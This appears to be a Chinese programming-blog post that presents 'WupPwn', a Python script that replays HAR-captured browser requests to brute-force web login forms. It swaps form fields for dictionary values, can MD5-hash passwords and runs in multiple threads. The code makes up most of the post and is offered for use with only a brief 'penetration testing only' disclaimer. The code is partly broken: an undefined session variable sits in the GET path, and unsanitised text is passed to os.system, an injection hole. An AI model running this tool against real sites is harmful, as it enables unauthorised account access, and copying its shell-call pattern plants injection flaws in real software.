Python如何利用Har文件进行遍历指定字典替换提交的数据详解


Posted in Python onNovember 05, 2020

利用Chrome或Firefox保存的Har文件http/https请求,可用于遍历字典提交From表单.

少说废话直接上代码

Github地址:https://github.com/H0xMrLin/wuppwn

#encoding:utf-8
import sys;
#Yeah,我没有注释。懒得写
HelpContent="""
Help:
+=====================================================================================================================+
       WupPwn.py
Python3 WupPwn.py HarFileName [pd=filedName:Value|pd=filedName:$DicFileName] [if=responseContent] [ifnot=responseContent] [ifend=responseContent] [out=OutFileName]
  HarFileName har文件名 谷歌或Firefox web抓包保存为har entries下可以看到所有请求的地址及参数 可以删除一些不必要的请求让程序更快运行
  pd 设置上传数据 字段名:值 或者 字段名:字典
  if=xxx 如果内容是xxx那就记录 可多个用||隔开
  ifnot=xxx 如果内容不是xxx哪就记录 可多个用||隔开
  ifend=xxx 如果内容是xxx那就记录并结束 可多个用||隔开
  out=xx.txt 输出记录到文件
  see=on|off 查看每次尝试破解响应
    Current request method have: GET/POST
    *且目前不支持http请求头带 RFC 标识 (RFC-eg: ':method':'POST')可以检查是否有
  md5=XXX 将 指定字段名的值进行md5加密再暴力破解 一般=password||passwd||pwd ...
  th=5 设置5个线程同时运行
 版本警告:
  《!》: 切勿用作违法使用,仅供渗透测试,如非法使用该工具与作者无关。 Makerby:Pwn0_+x_X
+=====================================================================================================================+
""";
if(len(sys.argv) <=1):
 print(HelpContent);
 sys.exit(1);
if(sys.argv[1].lower()=="h" or sys.argv[1].lower()=="-h" or sys.argv[1].lower()=="help"or sys.argv[1].lower()=="-help"):
 print(HelpContent);
 sys.exit(1);
import os;
import json;
import urllib.request;
import requests;
import socket;
import hashlib;
import threading;
import traceback;
import uuid;
import copy
from hyper.contrib import HTTP20Adapter;
socket.setdefaulttimeout(3);
CAllowRequestMethod=["get","post"];
HARFile=sys.argv[1];
harfp=open(HARFile,"rb");
harContent=harfp.read();
HarJSON=json.loads(harContent);
Body=HarJSON["log"]
print("Version :"+Body["version"]);
print("Request Count :"+str( len(Body["entries"])))
AimUrlAPar={};
for reqBody in Body["entries"]:
 AimUrlAPar[reqBody["request"]["url"]]={};
 AllowRequest="×";
 if(reqBody["request"]["method"].lower() in CAllowRequestMethod):
  AllowRequest="√";
 else:
  print(" "*5,"[",AllowRequest,"]",reqBody["request"]["method"],"\t\t"+reqBody["request"]["url"].split("?")[0])
  continue;
 print(" "*5,"[",AllowRequest,"]",reqBody["request"]["method"],"\t\t"+reqBody["request"]["url"].split("?")[0])
 Parameter= reqBody["request"]["queryString"] if reqBody["request"]["method"].lower()=="get" else reqBody["request"]["postData"]["text"]
 #print(Parameter)
 if(reqBody["request"]["method"].lower()=="post"):
  if "application/json" in reqBody["request"]["postData"]["mimeType"]:
   Parameter=json.loads(Parameter)
  else:
   Parameter=reqBody["request"]["postData"]["params"];
   tmpPar={};
   for item in Parameter:
    tmpPar[item["name"]]=item["value"];
   Parameter=tmpPar;
  AimUrlAPar[reqBody["request"]["url"]]["paramtertype"]=reqBody["request"]["postData"]["mimeType"].lower()
 elif(reqBody["request"]["method"].lower()=="get"):
  Par={};
  #print("get")
  for item in Parameter:
   Par[item["name"]]=item["value"]
  Parameter=Par;
 headers={};
 headNotContains=["Content-Length"];
 for headFiled in reqBody["request"]["headers"]:
  if headFiled["name"] in headNotContains:
   continue;
  headers[headFiled["name"]]=headFiled["value"];
 cookies={};
 for headFiled in reqBody["request"]["cookies"]:
  cookies[headFiled["name"]]=headFiled["value"];
 #print(cookies);
 AimUrlAPar[reqBody["request"]["url"]]["arguments"]=Parameter
 AimUrlAPar[reqBody["request"]["url"]]["header"]=headers
 AimUrlAPar[reqBody["request"]["url"]]["cookies"]=cookies
 AimUrlAPar[reqBody["request"]["url"]]["method"]=reqBody["request"]["method"].lower()
 AimUrlAPar[reqBody["request"]["url"]]["httpversion"]=reqBody["request"]["httpVersion"].lower()
 
#系统存储
kPMd5={};
 
#用户参数设定
pds=[];
ifC=[];# 最小优先级
ifN=[];# 其二优先级
ifE=[];# 最大优先级
otFile="";
ascMD5=[];
testsee="off";
see="off";
th=0;
#因为我不太喜欢指令的参数化模块 所以我直接写了个硬代码 注:python的模块有时候很讨厌.
def setBaseParamters(Key,Value):
 global see,otFile,testsee,th;
 Key=Key.lower();
 if(Key=="pd"):
  FILEDSUM=Value.split(":");
  filedName=FILEDSUM[0];
  filedValue=FILEDSUM[1];
  
  if(filedValue[0]=="$"):
   apArr=[];
   filedP=open(filedValue[1:],"r");
   redValueLines=filedP.readlines();
   for val in redValueLines:
    apArr.append({filedName:val.replace("\n","")});
   pds.append(apArr);
  else:
   pds.append([{filedName:filedValue}]);
 elif(Key=="if"):
  ifcItems=Value.split("||");
  for item in ifcItems:
   ifC.append(item);
 elif(Key=="ifnot"):
  ifcItems=Value.split("||");
  for item in ifcItems:
   ifN.append(item);
 elif(Key=="ifend"):
  ifcItems=Value.split("||");
  for item in ifcItems:
   ifE.append(item);
 elif(Key=="md5"):
  md5Items=Value.split("||");
  for item in md5Items:
   ascMD5.append(item);
 elif(Key=="see"):
  see=Value.strip().lower();
 elif(Key=="out"):
  otFile=Value.strip().lower();
 elif(Key=="testsee"):
  testsee=Value.strip().lower();
 elif(Key=="th"):
  th=int(Value.strip().lower());
 return;
curThs={};
def pdLoop(index,havePar={},myThead=None):
 global curThs,kPMd5;
 for item in pds[index]:
  FiledName=list(item.keys())[0];
  FiledValue=list(item.values())[0];
  if(FiledName in ascMD5):
   m5Obj=hashlib.md5(bytes(FiledValue,encoding="UTF-8"));
   SourceValue=FiledValue;
   FiledValue=m5Obj.hexdigest();
   kPMd5[FiledValue]=SourceValue;
  havePar[FiledName]=FiledValue;
  if(index>0):
   if(th>0 and len(curThs)<th ):
    print("[+]线程记录点")
    childThread=str(uuid.uuid1()).replace("-","");
    RunTh= threading.Thread(target=pdLoop,args=(index-1,copy.deepcopy(havePar),childThread,));
    
    curThs[childThread]=RunTh;
    RunTh.start();
   else:
    pdLoop(index-1,copy.deepcopy(havePar));
  else:
   Call(havePar);
 if(myThead!=None):
  print("[+]线程释放点",myThead)
  curThs.pop(myThead);
def Call(sendData):
 for reqUrl in list(AimUrlAPar.keys()):
  CurHeaders= AimUrlAPar[reqUrl]["header"];
  CurHeaders["Cookie"]="";
  CurCookies= AimUrlAPar[reqUrl]["cookies"];
  for cookieKey in list(CurCookies.keys()):
   CurHeaders["Cookie"]+=cookieKey+"="+CurCookies[cookieKey]+";"
   #print(cookieKey+"="+CurCookies[cookieKey]+";");
  CurArguments= AimUrlAPar[reqUrl]["arguments"];
  for cgDataKey in list(sendData.keys()):
   CurArguments[cgDataKey]=sendData[cgDataKey];
  try:
   if(AimUrlAPar[reqUrl]["method"]=="get"):
    print("[+]GET-Pwn:%s"%(reqUrl));
    #data = urllib.parse.urlencode(CurArguments).encode('utf-8');
    if(AimUrlAPar[reqUrl]["httpversion"]=="http/2.0"):
     sessions.mount(reqUrl,HTTP20Adapter());
    res=requests.get(reqUrl,headers=CurHeaders,params=CurArguments);
    print(res.text);
    Auth(CurArguments,res.text);
   elif(AimUrlAPar[reqUrl]["method"]=="post"):
    """
    data = urllib.parse.urlencode(CurArguments).encode('utf-8')
    request = urllib.request.Request(reqUrl,data = data,headers = CurHeaders,method="POST");
    response = urllib.request.urlopen(request)
    html = response.read().decode('utf-8')"""
    if(AimUrlAPar[reqUrl]["paramtertype"]=="application/x-www-form-urlencoded"):
     data = urllib.parse.urlencode(CurArguments).encode('utf-8')
    else:
     data = json.dumps(CurArguments);
    sessions=requests.session();
    if(AimUrlAPar[reqUrl]["httpversion"]=="http/2.0"):
     sessions.mount(reqUrl,HTTP20Adapter());
    res=sessions.post(reqUrl,data=data,headers=CurHeaders);
    Auth(CurArguments,res.text);
  
   None;
  except Exception as e:
   print("[-]Pwn timeout",traceback.print_exc(),kPMd5)
 
def Auth(Arguments,resContent):
 Success=False;
 Arguments=copy.deepcopy(Arguments)
 for argItemName in list(Arguments.keys()):
  if(argItemName in ascMD5):
   Arguments[argItemName]=kPMd5[Arguments[argItemName]];
 #print(ifE,ifC,ifN)
 for ifeItem in ifE:
  if(ifeItem in resContent):
   Output(str(Arguments));
   sys.exit(1);
 for ifnItem in ifN:
  if not(ifnItem in resContent ):
   Output(str(Arguments));
   Success=True
 for ifcItem in ifC:
  if (ifcItem in resContent ):
   Output(str(Arguments));
   Success=True
 if(see=='on'):
  print({True:"\t[√]",False:"[-]"}[Success],Success,Arguments);
 if(testsee=="on"):
  print(resContent);
 
def Output(text):
 if(otFile.strip() == ""):
  return;
 os.system("echo %s>>%s"%(text,otFile));
 return ;
 
for index in range(len(sys.argv)-2):
 parIndex=index+2;
 parItem= sys.argv[parIndex];
 try:
  Item= parItem.split("=");
  key=Item[0];
  value=Item[1];
  setBaseParamters(key,value);
 except:
  print("Error paramter(%s)"%(parItem));
#print(AimUrlAPar);
if(len(pds)-1>=0):
 pdLoop(len(pds)-1)

总结

到此这篇关于Python如何利用Har文件进行遍历指定字典替换提交的数据的文章就介绍到这了,更多相关Python用Har文件遍历指定字典替换提交的数据内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
Python对列表排序的方法实例分析
May 16 Python
python的keyword模块用法实例分析
Jun 30 Python
Python 常用string函数详解
May 30 Python
Python基于scapy实现修改IP发送请求的方法示例
Jul 08 Python
python简单实例训练(21~30)
Nov 15 Python
PyQt QListWidget修改列表项item的行高方法
Jun 20 Python
Django 接收Post请求数据,并保存到数据库的实现方法
Jul 12 Python
简单了解django索引的相关知识
Jul 17 Python
pytorch中的embedding词向量的使用方法
Aug 18 Python
python读取图片的几种方式及图像宽和高的存储顺序
Feb 11 Python
使用 django orm 写 exists 条件过滤实例
May 20 Python
Python内置方法和属性应用:反射和单例(推荐)
Jun 19 Python
Python word文本自动化操作实现方法解析
Nov 05 #Python
Python自动化办公Excel模块openpyxl原理及用法解析
Nov 05 #Python
Python中用xlwt制作表格实例讲解
Nov 05 #Python
如何利用pycharm进行代码更新比较
Nov 04 #Python
python产生模拟数据faker库的使用详解
Nov 04 #Python
Django配置跨域并开发测试接口
Nov 04 #Python
Python基于Serializer实现字段验证及序列化
Nov 04 #Python
You might like
php面向对象编程self和static的区别
2016/05/08 PHP
PHP实现的折半查询算法示例
2017/10/09 PHP
使用Json比用string返回数据更友好,也更面向对象一些
2011/09/13 Javascript
uploadify 3.0 详细使用说明
2012/06/18 Javascript
JQuery中extend使用介绍
2014/03/13 Javascript
javascript中函数作为参数调用的方法
2015/02/09 Javascript
JS基于面向对象实现的拖拽库实例
2015/09/24 Javascript
解决jquery无法找到其他父级子集问题的方法
2016/05/10 Javascript
Bootstrap缩略图与警告框学习使用
2017/02/08 Javascript
JS实现复制功能
2017/03/01 Javascript
详解vue.js移动端导航navigationbar的封装
2017/07/05 Javascript
浅谈JavaScript find 方法不支持IE的问题
2017/09/28 Javascript
vue项目中axios使用详解
2018/02/07 Javascript
关于微信公众号开发无法支付的问题解决
2018/12/28 Javascript
vue 框架下自定义滚动条(easyscroll)实现方法
2019/08/29 Javascript
解决在Vue中使用axios POST请求变成OPTIONS的问题
2020/08/14 Javascript
解决vue初始化项目一直停在downloading template的问题
2020/11/09 Javascript
[42:32]完美世界DOTA2联赛PWL S2 LBZS vs FTD.C 第二场 11.27
2020/12/01 DOTA
python启动办公软件进程(word、excel、ppt、以及wps的et、wps、wpp)
2009/04/09 Python
Java如何基于wsimport调用wcf接口
2020/06/17 Python
如何验证python安装成功
2020/07/06 Python
Python lxml库的简单介绍及基本使用讲解
2020/12/22 Python
canvas裁剪clip()函数的具体使用
2018/03/01 HTML / CSS
Kate Spade澳大利亚官方网站:美国设计师手袋品牌
2019/09/10 全球购物
Ray-Ban雷朋太阳眼镜英国官网:Ray-Ban UK
2019/11/23 全球购物
求最大连续递增数字串(如"ads3sl456789DF3456ld345AA"中的"456789")
2015/09/11 面试题
StringBuilder和String的区别
2015/05/18 面试题
大学生个人总结的自我评价
2013/10/05 职场文书
应届中专生自荐书范文
2014/02/13 职场文书
干部作风建设心得体会
2014/10/22 职场文书
2014年机关作风建设工作总结
2014/10/23 职场文书
教师工作表现评语
2014/12/31 职场文书
家长对学校的意见和建议
2015/06/03 职场文书
Python编程源码报错解决方法总结经验分享
2021/10/05 Python
船舶调度指挥系统——助力智慧海事
2022/02/18 无线电
浅谈css清除浮动(clearfix和clear)的用法
2023/05/21 HTML / CSS